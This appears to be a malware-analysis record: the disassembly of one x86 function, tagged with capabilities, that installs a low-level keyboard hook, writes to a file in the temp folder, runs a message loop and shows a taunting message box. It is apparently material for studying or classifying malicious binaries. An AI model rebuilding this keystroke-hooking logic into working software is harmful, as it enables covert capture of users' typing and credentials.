Function at 0x403220
Capabilities:
Create thread
Get common file path
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5076c1
mov eax, dword fs:[0]
push eax
sub esp, 0x174
mov eax, dword [0x8815d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push eax
push 0x403080
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
push 0
mov dword [0x90007c], eax
call fcn.00438ad3
push eax
call fcn.00437c04
add esp, 8
lea eax, [ebp - 0x114]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x114]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x403293
mov eax, dword [str.a.ogg]
mov dword [ecx], eax
mov ax, word [0x5f143c]
mov word [ecx + 4], ax
lea eax, [ebp - 0x114]
push 0x5f1440
push eax
call fcn.00437db0
mov esi, eax
push esi
push 0x23d739
push 1
push 0x633490
call fcn.004389e9
push esi
call fcn.00437fd3
xorps xmm0, xmm0
mov dword [ebp - 0x120], 0
lea esi, [ebp - 0x114]
mov dword [ebp - 0x11c], 0
add esp, 0x1c
lea ecx, [esi + 1]
movups xmmword [ebp - 0x130], xmm0
mov al, byte [esi]
inc esi
test al, al
jne 0x403303
sub esi, ecx
cmp esi, 0x7fffffff
ja 0x4035ac
mov dword [ebp - 0x11c], 0xf
cmp esi, 0x10
jae 0x40334e
push esi
lea eax, [ebp - 0x114]
mov dword [ebp - 0x120], esi
push eax
lea eax, [ebp - 0x130]
push eax
call fcn.004347f0
mov byte [ebp + esi - 0x130], 0
jmp 0x4033e8
mov edi, esi
or edi, 0xf
cmp edi, 0x7fffffff
jbe 0x403386
mov ecx, 0x80000000
mov edi, 0x7fffffff
add ecx, 0x23
push ecx
call fcn.00432cea
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x4035bb
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x4033b8
mov eax, 0x16
cmp edi, eax
cmovb edi, eax
lea eax, [edi + 1]
cmp eax, 0x1000
jb 0x4033a7
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x4035b1
jmp 0x403368
test eax, eax
je 0x4033b6
push eax
call fcn.00432cea
add esp, 4
jmp 0x4033b8
xor eax, eax
push esi
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x118], eax
push ecx
push eax
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x120], esi
mov dword [ebp - 0x11c], edi
call fcn.004347f0
mov eax, dword [ebp - 0x118]
mov byte [eax + esi], 0
add esp, 0xc
xorps xmm0, xmm0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x164]
movups xmmword [ebp - 0x164], xmm0
movups xmmword [ebp - 0x154], xmm0
call fcn.00404aa0
lea eax, [ebp - 0x130]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x164]
call fcn.00408200
test al, al
jne 0x40343e
push 0
push str.whaatt__happne_my_comptar
push str.hehehe
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x40344d
lea eax, [ebp - 0x114]
push eax
call fcn.0043820b
add esp, 4
lea eax, [ebp - 0x164]
mov dword [ebp - 0x13c], 0
xorps xmm0, xmm0
lea ecx, [ebp - 0x144]
push eax
movq qword [ebp - 0x144], xmm0
call fcn.004087a0
push 1
lea ecx, [ebp - 0x144]
mov byte [ebp - 4], 2
call fcn.004089b0
lea ecx, [ebp - 0x144]
call fcn.00408920
push 4
call fcn.00432cea
mov dword [ebp - 0x118], eax
mov dword [eax], 0x402f50
lea ecx, [ebp - 0x134]
mov byte [ebp - 4], 3
push ecx
push 0
push eax
push 0x403ea0
push 0
push 0
call fcn.004383d1
add esp, 0x1c
mov dword [ebp - 0x138], eax
test eax, eax
je 0x40359b
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
lea eax, [ebp - 0x180]
push 0
push 0
push 0
push eax
call esi
test eax, eax
je 0x403519
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
nop
lea eax, [ebp - 0x180]
push eax
call edi
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 0
push 0
push 0
lea eax, [ebp - 0x180]
push eax
call esi
test eax, eax
jne 0x4034f0
push dword [0x90007c]
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
cmp dword [ebp - 0x134], 0
jne 0x4035b6
lea ecx, [ebp - 0x144]
call fcn.00408820
lea ecx, [ebp - 0x164]
call fcn.004052c0
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0x10
jb 0x40357e
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403574
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4035bb
push ecx
push edx
call fcn.00433080
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00432bfc
mov esp, ebp
pop ebp
ret
push 6
mov dword [ebp - 0x134], 0
call fcn.0042ea34
call fcn.00402e50
call fcn.00402d80
call fcn.004386e8
call fcn.00438697
int3